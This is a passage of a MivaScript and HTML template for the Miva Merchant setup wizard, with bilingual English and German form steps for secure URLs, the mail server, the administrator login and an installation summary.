					<INPUT TYPE = "radio" NAME = "Install_URL_Base_Use_Detected" VALUE = "" CHECKED> <MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_URL_Base" VALUE = "{ encodeentities( g.Install_URL_Base ) }">
				</MvIF>
			</FONT>
		</TD></TR>

		<TR><TD VALIGN = "top" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00095">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Root Directory for Graphics:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Hauptverzeichnis f�r Grafiken:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>						
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvIF EXPR = "{ g.Install_Image_Root_Use_Detected EQ 'Yes' }">
					<INPUT TYPE = "radio" NAME = "Install_Image_Root_Use_Detected" VALUE = "Yes" CHECKED> <MvEVAL EXPR = "{ encodeentities( g.Install_Image_Root_Detected ) }"><BR>
					<INPUT TYPE = "radio" NAME = "Install_Image_Root_Use_Detected" VALUE = ""><MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_ImageRoot" VALUE = "{ encodeentities( g.Install_ImageRoot ) }">
				<MvELSE>
					<INPUT TYPE = "radio" NAME = "Install_Image_Root_Use_Detected" VALUE = "Yes"> <MvEVAL EXPR = "{ encodeentities( g.Install_Image_Root_Detected ) }"><BR>
					<INPUT TYPE = "radio" NAME = "Install_Image_Root_Use_Detected" VALUE = "" CHECKED> <MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_ImageRoot" VALUE = "{ encodeentities( g.Install_ImageRoot ) }">
				</MvIF>
			</FONT>
		</TD></TR>

		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD VALIGN = "bottom" ALIGN = "left">
			<MvEVAL EXPR = "{ Setup_DrawPreviousButton( 'Setup_Previous();' ) }">
		</TD><TD VALIGN = "bottom" ALIGN = "right">
			<MvEVAL EXPR = "{ Setup_DrawNextButton( 'Setup_Next();' ) }">
		</TD></TR>
		</TABLE>
	<MvELSE>
		<MvHIDE FIELDS = "g.Install_URL_Base_Use_Detected, g.Install_Display_Site_Steps, g.Install_Display_Setup_Steps, g.Install_MivaMerchantURL, g.Install_Module_Root, g.Install_Module_Root_Detected, g.Install_Module_Root_Use_Detected, g.Install_URL_Merchant, g.Install_URL_Merchant_Detected, g.Install_URL_Merchant_Use_Detected, g.Install_Image_Root, g.Install_Image_Root_Detected, g.Install_Image_Root_Use_Detected, g.Install_URL_Base, g.Install_URL_Base_Detected, g.Install_ImageRoot">
	</MvIF>

	<MvIF EXPR = "{ g.step EQ g.Setup_Wizard_Step_SecurePaths }">
		<INPUT TYPE = "hidden" NAME = "Install_URL_Base_Secure_Detected" VALUE = "{ encodeentities( g.Install_URL_Base_Secure_Detected ) }">
		<INPUT TYPE = "hidden" NAME = "Install_URL_Merchant_Secure_Detected" VALUE = "{ encodeentities( g.Install_URL_Merchant_Secure_Detected ) }">
		<INPUT TYPE = "hidden" NAME = "Install_URL_Admin_Secure_Detected" VALUE = "{ encodeentities( g.Install_URL_Admin_Secure_Detected ) }">
		<INPUT TYPE = "hidden" NAME = "Install_Module_Root_Secure_Detected" VALUE = "{ encodeentities( g.Install_Module_Root_Secure_Detected ) }">
		<TABLE BORDER = "0" CELLPADDING = "2" CELLSPACING = "0" WIDTH = "100%">
		<TR><TD VALIGN = "top" ALIGN = "left" COLSPAN = "2">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<P>
			<MvLOCALIZED ID = "MER-SET-00096">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">
					In the following fields, you may indicate your secure directories
					and URLs.  This enables you and your customers to transmit information
					over the Internet without fear of interception by others.
				</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
					In den folgenden Feldern k�nnen Sie Ihre gesicherten Verzeichnisse und URLs
					angeben. Somit k�nnen Sie und Ihre Kunden Informationen �ber das Internet
					schicken, ohne ein Abfangen der Informationen durch Dritte bef�rchten zu m�ssen.
				</MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</P>
			<P>
			<MvLOCALIZED ID = "MER-SET-00097">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">
					Your ISP or hosting provider may have provided this information 
					for you, in which case this information is displayed.  Miva Merchant setup 
					may have detected different settings and locations, if there are any 
					discrepancies, you may need to contact your ISP or hosting provider 
					in order to reconcile these differences.
				</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
					Ihr ISP oder Hosting Service hat Ihnen unter Umst�nden diese Informationen bereits zur
					Verf�gung gestellt.  In diesem Fall werden diese Informationen angezeigt. Der
					Miva Merchant Setup hat gegebenenfalls andere Einstellungen und Orte erkannt.
					Sollten Diskrepanzen vorliegen, m�ssen Sie sich unter Umst�nden an
					Ihren ISP oder Hosting Service wenden, um diese Unterschiede aus dem Weg zu r�umen.
				</MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</P>
			</FONT>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD VALIGN = "top" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00098">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Secure URL to Miva Merchant:</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Sicherer URL zum Miva Merchant:</MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvIF EXPR = "{ g.Install_URL_Merchant_Secure_Use_Detected EQ 'None' }">
					<INPUT TYPE = "radio" NAME = "Install_URL_Merchant_Secure_Use_Detected" VALUE = "None" CHECKED><MvEVAL EXPR = "{ Setup_DrawText_None() }"><BR>
					<MvIF EXPR = "{ len( g.Install_URL_Merchant_Secure_Detected ) }">
						<INPUT TYPE = "radio" NAME = "Install_URL_Merchant_Secure_Use_Detected" VALUE = "Detected"> <MvEVAL EXPR = "{ encodeentities( g.Install_URL_Merchant_Secure_Detected ) }"><BR>
					</MvIF>
					<INPUT TYPE = "radio" NAME = "Install_URL_Merchant_Secure_Use_Detected" VALUE = ""><MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_MivaMerchantSecureURL" VALUE = "{ encodeentities( g.Install_MivaMerchantSecureURL ) }">
				</MvIF>

				<MvIF EXPR = "{ g.Install_URL_Merchant_Secure_Use_Detected EQ 'Detected' }">
					<INPUT TYPE = "radio" NAME = "Install_URL_Merchant_Secure_Use_Detected" VALUE = "None"><MvEVAL EXPR = "{ Setup_DrawText_None() }"><BR>
					<INPUT TYPE = "radio" NAME = "Install_URL_Merchant_Secure_Use_Detected" VALUE = "Detected" CHECKED> <MvEVAL EXPR = "{ encodeentities( g.Install_URL_Merchant_Secure_Detected ) }"><BR>
					<INPUT TYPE = "radio" NAME = "Install_URL_Merchant_Secure_Use_Detected" VALUE = ""><MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_MivaMerchantSecureURL" VALUE = "{ encodeentities( g.Install_MivaMerchantSecureURL ) }">
				</MvIF>

				<MvIF EXPR = "{ g.Install_URL_Merchant_Secure_Use_Detected EQ '' }">
					<INPUT TYPE = "radio" NAME = "Install_URL_Merchant_Secure_Use_Detected" VALUE = "None"><MvEVAL EXPR = "{ Setup_DrawText_None() }"><BR>
					<MvIF EXPR = "{ len( g.Install_URL_Merchant_Secure_Detected ) }">
						<INPUT TYPE = "radio" NAME = "Install_URL_Merchant_Secure_Use_Detected" VALUE = "Detected"> <MvEVAL EXPR = "{ encodeentities( g.Install_URL_Merchant_Secure_Detected ) }"><BR>
					</MvIF>
					<INPUT TYPE = "radio" NAME = "Install_URL_Merchant_Secure_Use_Detected" VALUE = "" CHECKED><MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_MivaMerchantSecureURL" VALUE = "{ encodeentities( g.Install_MivaMerchantSecureURL ) }">
				</MvIF>
			</FONT>
		</TD></TR>

		<TR><TD VALIGN = "top" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00099">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Secure URL to Miva Merchant Administration:</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Sicherer URL zur Miva Merchant Administration:</MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvIF EXPR = "{ g.Install_URL_Admin_Secure_Use_Detected EQ 'None' }">
					<INPUT TYPE = "radio" NAME = "Install_URL_Admin_Secure_Use_Detected" VALUE = "None" CHECKED><MvEVAL EXPR = "{ Setup_DrawText_None() }"><BR>
					<MvIF EXPR = "{ len( g.Install_URL_Admin_Secure_Detected ) }">
						<INPUT TYPE = "radio" NAME = "Install_URL_Admin_Secure_Use_Detected" VALUE = "Detected"> <MvEVAL EXPR = "{ encodeentities( g.Install_URL_Admin_Secure_Detected ) }"><BR>
					</MvIF>
					<INPUT TYPE = "radio" NAME = "Install_URL_Admin_Secure_Use_Detected" VALUE = ""><MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_URL_Admin_Secure" VALUE = "{ encodeentities( g.Install_URL_Admin_Secure ) }">
				</MvIF>

				<MvIF EXPR = "{ g.Install_URL_Admin_Secure_Use_Detected EQ 'Detected' }">
					<INPUT TYPE = "radio" NAME = "Install_URL_Admin_Secure_Use_Detected" VALUE = "None"><MvEVAL EXPR = "{ Setup_DrawText_None() }"><BR>
					<INPUT TYPE = "radio" NAME = "Install_URL_Admin_Secure_Use_Detected" VALUE = "Detected" CHECKED> <MvEVAL EXPR = "{ encodeentities( g.Install_URL_Admin_Secure_Detected ) }"><BR>
					<INPUT TYPE = "radio" NAME = "Install_URL_Admin_Secure_Use_Detected" VALUE = ""> <MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_URL_Admin_Secure" VALUE = "{ encodeentities( g.Install_URL_Admin_Secure ) }">
				</MvIF>

				<MvIF EXPR = "{ g.Install_URL_Admin_Secure_Use_Detected EQ '' }">
					<INPUT TYPE = "radio" NAME = "Install_URL_Admin_Secure_Use_Detected" VALUE = "None"><MvEVAL EXPR = "{ Setup_DrawText_None() }"><BR>
					<MvIF EXPR = "{ len( g.Install_URL_Admin_Secure_Detected ) }">
						<INPUT TYPE = "radio" NAME = "Install_URL_Admin_Secure_Use_Detected" VALUE = "Detected"> <MvEVAL EXPR = "{ encodeentities( g.Install_URL_Admin_Secure_Detected ) }"><BR>
					</MvIF>
					<INPUT TYPE = "radio" NAME = "Install_URL_Admin_Secure_Use_Detected" VALUE = "" CHECKED><MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_URL_Admin_Secure" VALUE = "{ encodeentities( g.Install_URL_Admin_Secure ) }">
				</MvIF>
			</FONT>
		</TD></TR>

		<TR><TD VALIGN = "top" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00100">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Secure Root Directory for Modules:</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Sicheres Hauptverzeichnis f�r Module:</MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvIF EXPR = "{ g.Install_Module_Root_Secure_Use_Detected EQ 'None' }">
					<INPUT TYPE = "radio" NAME = "Install_Module_Root_Secure_Use_Detected" VALUE = "None" CHECKED><MvEVAL EXPR = "{ Setup_DrawText_None() }"><BR>
					<MvIF EXPR = "{ g.Install_Module_Root_Secure_Detected }">
						<INPUT TYPE = "radio" NAME = "Install_Module_Root_Secure_Use_Detected" VALUE = "Detected"> <MvEVAL EXPR = "{ encodeentities( g.Install_Module_Root_Secure_Detected ) }"><BR>
					</MvIF>
					<INPUT TYPE = "radio" NAME = "Install_Module_Root_Secure_Use_Detected" VALUE = ""> <MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_Module_Root_Secure" VALUE = "{ encodeentities( g.Install_Module_Root_Secure ) }">
				</MvIF>
				<MvIF EXPR = "{ g.Install_Module_Root_Secure_Use_Detected EQ 'Detected' }">
					<INPUT TYPE = "radio" NAME = "Install_Module_Root_Secure_Use_Detected" VALUE = "None"><MvEVAL EXPR = "{ Setup_DrawText_None() }"><BR>
					<INPUT TYPE = "radio" NAME = "Install_Module_Root_Secure_Use_Detected" VALUE = "Detected" CHECKED> <MvEVAL EXPR = "{ encodeentities( g.Install_Module_Root_Secure_Detected ) }"><BR>
					<INPUT TYPE = "radio" NAME = "Install_Module_Root_Secure_Use_Detected" VALUE = ""> <MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_Module_Root_Secure" VALUE = "{ encodeentities( g.Install_Module_Root_Secure ) }">
				</MvIF>
				<MvIF EXPR = "{ g.Install_Module_Root_Secure_Use_Detected EQ '' }">
					<INPUT TYPE = "radio" NAME = "Install_Module_Root_Secure_Use_Detected" VALUE = "None"><MvEVAL EXPR = "{ Setup_DrawText_None() }"><BR>
					<MvIF EXPR = "{ g.Install_Module_Root_Secure_Detected }">
						<INPUT TYPE = "radio" NAME = "Install_Module_Root_Secure_Use_Detected" VALUE = "Detected"> <MvEVAL EXPR = "{ encodeentities( g.Install_Module_Root_Secure_Detected ) }"><BR>
					</MvIF>
					<INPUT TYPE = "radio" NAME = "Install_Module_Root_Secure_Use_Detected" VALUE = "" CHECKED><MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_Module_Root_Secure" VALUE = "{ encodeentities( g.Install_Module_Root_Secure ) }">
				</MvIF>
			</FONT>
		</TD></TR>

		<TR><TD VALIGN = "top" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00101">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Secure Base URL for Graphics:</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Sicherer Basis-URL f�r Grafiken:</MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvIF EXPR = "{ g.Install_URL_Base_Secure_Use_Detected EQ 'None' }">
					<INPUT TYPE = "radio" NAME = "Install_URL_Base_Secure_Use_Detected" VALUE = "None" CHECKED><MvEVAL EXPR = "{ Setup_DrawText_None() }"><BR>
					<MvIF EXPR = "{ len( g.Install_URL_Base_Secure_Detected ) }">
						<INPUT TYPE = "radio" NAME = "Install_URL_Base_Secure_Use_Detected" VALUE = "Detected"> <MvEVAL EXPR = "{ encodeentities( g.Install_URL_Base_Secure_Detected ) }"><BR>
					</MvIF>
					<INPUT TYPE = "radio" NAME = "Install_URL_Base_Secure_Use_Detected" VALUE = ""> <MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_URL_Base_Secure" VALUE = "{ encodeentities( g.Install_URL_Base_Secure ) }">
				</MvIF>
				<MvIF EXPR = "{ g.Install_URL_Base_Secure_Use_Detected EQ 'Detected' }">
					<INPUT TYPE = "radio" NAME = "Install_URL_Base_Secure_Use_Detected" VALUE = "None"><MvEVAL EXPR = "{ Setup_DrawText_None() }"><BR>
					<INPUT TYPE = "radio" NAME = "Install_URL_Base_Secure_Use_Detected" VALUE = "Detected" CHECKED> <MvEVAL EXPR = "{ encodeentities( g.Install_URL_Base_Secure_Detected ) }"><BR>
					<INPUT TYPE = "radio" NAME = "Install_URL_Base_Secure_Use_Detected" VALUE = ""> <MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_URL_Base_Secure" VALUE = "{ encodeentities( g.Install_URL_Base_Secure ) }">
				</MvIF>
				<MvIF EXPR = "{ g.Install_URL_Base_Secure_Use_Detected EQ '' }">
					<INPUT TYPE = "radio" NAME = "Install_URL_Base_Secure_Use_Detected" VALUE = "None"><MvEVAL EXPR = "{ Setup_DrawText_None() }"><BR>
					<MvIF EXPR = "{ len( g.Install_URL_Base_Secure_Detected ) }">
						<INPUT TYPE = "radio" NAME = "Install_URL_Base_Secure_Use_Detected" VALUE = "Detected"> <MvEVAL EXPR = "{ encodeentities( g.Install_URL_Base_Secure_Detected ) }"><BR>
					</MvIF>
					<INPUT TYPE = "radio" NAME = "Install_URL_Base_Secure_Use_Detected" VALUE = "" CHECKED><MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_URL_Base_Secure" VALUE = "{ encodeentities( g.Install_URL_Base_Secure ) }">
				</MvIF>
			</FONT>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD VALIGN = "bottom" ALIGN = "left">
			<MvEVAL EXPR = "{ Setup_DrawPreviousButton( 'Setup_Previous();' ) }">
		</TD><TD VALIGN = "bottom" ALIGN = "right">
			<MvEVAL EXPR = "{ Setup_DrawNextButton( 'Setup_Next();' ) }">
		</TD></TR>
		</TABLE>
	<MvELSE>	
		<MvHIDE FIELDS = "g.Install_MivaMerchantSecureURL, g.Install_URL_Merchant_Secure_Detected, g.Install_URL_Merchant_Secure_Use_Detected, g.Install_URL_Admin_Secure, g.Install_URL_Admin_Secure_Detected, g.Install_URL_Admin_Secure_Use_Detected, g.Install_Module_Root_Secure, g.Install_Module_Root_Secure_Detected, g.Install_Module_Root_Secure_Use_Detected, g.Install_URL_Base_Secure, g.Install_URL_Base_Secure_Detected, g.Install_URL_Base_Secure_Use_Detected">
	</MvIF>
	
	<MvIF EXPR = "{ g.step EQ g.Setup_Wizard_Step_MailServer }">
		<TABLE BORDER = "0" CELLPADDING = "2" CELLSPACING = "0" WIDTH = "100%">
		<TR><TD VALIGN = "top" ALIGN = "left" COLSPAN = "2">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<P>
			<MvLOCALIZED ID = "MER-SET-00102">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">
					In the following fields, you will tell Miva Merchant the name of 
					the mail server to use, and whether email addresses are required
					to be enclosed in brackets.
				</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
					In den folgenden Feldern teilen Sie Miva Merchant den Namen des zu
					verwendenden Mail-Servers mit und ob E-Mail Adressen in Klammern 
					anzugeben sind.
				</MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</P>
			<P>
			<MvLOCALIZED ID = "MER-SET-00103">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">
					Your ISP or hosting provider may have provided this information 
					for you, in which case this information is displayed.  Miva Merchant setup 
					may have detected different settings and locations, if there are any 
					discrepancies, you may need to contact your ISP or hosting provider 
					in order to reconcile these differences.
				</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
					Ihr ISP oder Hosting Service hat Ihnen unter Umst�nden diese Informationen bereits zur
					Verf�gung gestellt.  In diesem Fall werden diese Informationen angezeigt. Der
					Miva Merchant Setup hat gegebenenfalls andere Einstellungen und Orte erkannt.
					Sollten Diskrepanzen vorliegen, m�ssen Sie sich unter Umst�nden an
					Ihren ISP oder Hosting Service wenden, um diese Unterschiede aus dem Weg zu r�umen.
				</MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</P>
			</FONT>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD NOWRAP> 
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00104">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Mail Server:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Mail-Server:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<INPUT TYPE = "text" SIZE = 40 NAME = "Install_MailHost" VALUE = "{ encodeentities( g.Install_MailHost ) }">
			</FONT>
		</TD></TR>

		<TR><TD ALIGN = "left" VALIGN = "middle">
			&nbsp
		</TD><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvIF EXPR = "{ g.Install_Mail_AddAngleBrackets NE 'Yes' }">
				<INPUT TYPE = "checkbox" NAME = "Install_Mail_AddAngleBrackets" VALUE = "Yes">
			<MvELSE>
				<INPUT TYPE = "checkbox" NAME = "Install_Mail_AddAngleBrackets" VALUE = "Yes" CHECKED>
			</MvIF>
			<MvLOCALIZED ID = "MER-SET-00137">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">
					Add Angle Brackets to Email Addresses
				</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
					E-Mail-Adressen mit spitzen Klammern versehen
				</MvLOCALIZED-TEXT>
			</MvLOCALIZED>
			</FONT>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD VALIGN = "bottom" ALIGN = "left">
			<MvEVAL EXPR = "{ Setup_DrawPreviousButton( 'Setup_Previous();' ) }">
		</TD><TD VALIGN = "bottom" ALIGN = "right">
			<MvEVAL EXPR = "{ Setup_DrawNextButton( 'Setup_Next();' ) }">
		</TD></TR>
		</TABLE>
	<MvELSE>
		<MvHIDE FIELDS = "g.Install_MailHost, g.Install_Mail_AddAngleBrackets">
	</MvIF>

	<MvIF EXPR = "{ g.step EQ g.Setup_Wizard_Step_Administrator }">
		<TABLE BORDER = 0 CELLPADDING = 2 CELLSPACING = 0 WIDTH = "100%">
		<TR><TD VALIGN = "top" ALIGN = "left" COLSPAN = "2">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<P>
			<MvLOCALIZED ID = "MER-SET-00105">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">
					Enter the default administrative user.  This is the login that
					will be used to enter the Miva Merchant administrative module.
				</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
					Geben Sie den administrativen Standardbenutzer ein. Dies ist die
					Anmeldung, die zur Eingabe des Miva Merchant Administrationsmoduls
					verwendet wird.
				</MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</P>
			</FONT>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00106">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>User Name:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Benutzername:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<INPUT TYPE = "text" SIZE = 40 NAME = "Install_User_Name" VALUE = "{ encodeentities( g.Install_User_Name ) }">
			</FONT>
		</TD></TR>

		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00107">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Password:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Passwort:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<INPUT TYPE = "password" SIZE = 30 NAME = "Install_User_Password" VALUE = "{ encodeentities( g.Install_User_Password ) }">
			</FONT>
		</TD></TR>

		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00108">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Verify Password:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Passwort zur Best�tigung nochmals eingeben:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<INPUT TYPE = "password" SIZE = 30 NAME = "Install_User_VerifyPassword" VALUE = "{ encodeentities( g.Install_User_VerifyPassword ) }">
			</FONT>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD VALIGN = "bottom" ALIGN = "left">
			<MvEVAL EXPR = "{ Setup_DrawPreviousButton( 'Setup_Previous();' ) }">
		</TD><TD VALIGN = "bottom" ALIGN = "right">
			<MvEVAL EXPR = "{ Setup_DrawNextButton( 'Setup_Next();' ) }">
		</TD></TR>
		</TABLE>
	<MvELSE>
		<MvHIDE FIELDS = "g.Install_User_Name, g.Install_User_Password, g.Install_User_VerifyPassword">
	</MvIF>

	<MvIF EXPR = "{ g.Step EQ g.Setup_Wizard_Step_Summary }">
		<TABLE BORDER = "0" CELLPADDING = "2" CELLSPACING = "0" WIDTH = "100%">
		<TR><TD ALIGN = "left" COLSPAN = "2">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<P>
			<MvLOCALIZED ID = "MER-SET-00109">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">
					You have now entered all of the information required to install Miva Merchant.
					Review the information below, and if necessary, go back and make any needed
					corrections.  Miva Merchant will be installed as follows:
				</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
					Sie haben jetzt alle Informationen eingegeben, die zur Installation von Miva
					Merchant erforderlich sind. �berpr�fen Sie die unten stehenden Informationen,
					und gehen Sie bei Bedarf zur�ck, um erforderliche Korrekturen vorzunehmen.
					Miva Merchant wird folgenderma�en installiert:
				</MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</P>
			</FONT>
		</TD></TR>

		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>

		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00110">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Owner:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Besitzer:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvEVAL EXPR = "{ encodeentities( g.Install_Domain_Owner ) }">
			</FONT>
		</TD></TR>

		<MvIF EXPR = "{ len( g.Install_Domain_Company ) }">
			<TR><TD NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvLOCALIZED ID = "MER-SET-00111">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Company:</B></MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Firma:</B></MvLOCALIZED-TEXT>
				</MvLOCALIZED>									
				</FONT>
			</TD><TD WIDTH = "100%" NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvEVAL EXPR = "{ encodeentities( g.Install_Domain_Company ) }">
				</FONT>
			</TD></TR>
		</MvIF>

		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00112">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Email Address:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>E-Mail Adresse:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvEVAL EXPR = "{ encodeentities( g.Install_Domain_Email ) }">
			</FONT>
		</TD></TR>

		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00113">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>License Number:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Lizenznummer:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvEVAL EXPR = "{ encodeentities( g.Install_Domain_License ) }">
			</FONT>
		</TD></TR>

		<TR><TD NOWRAP>
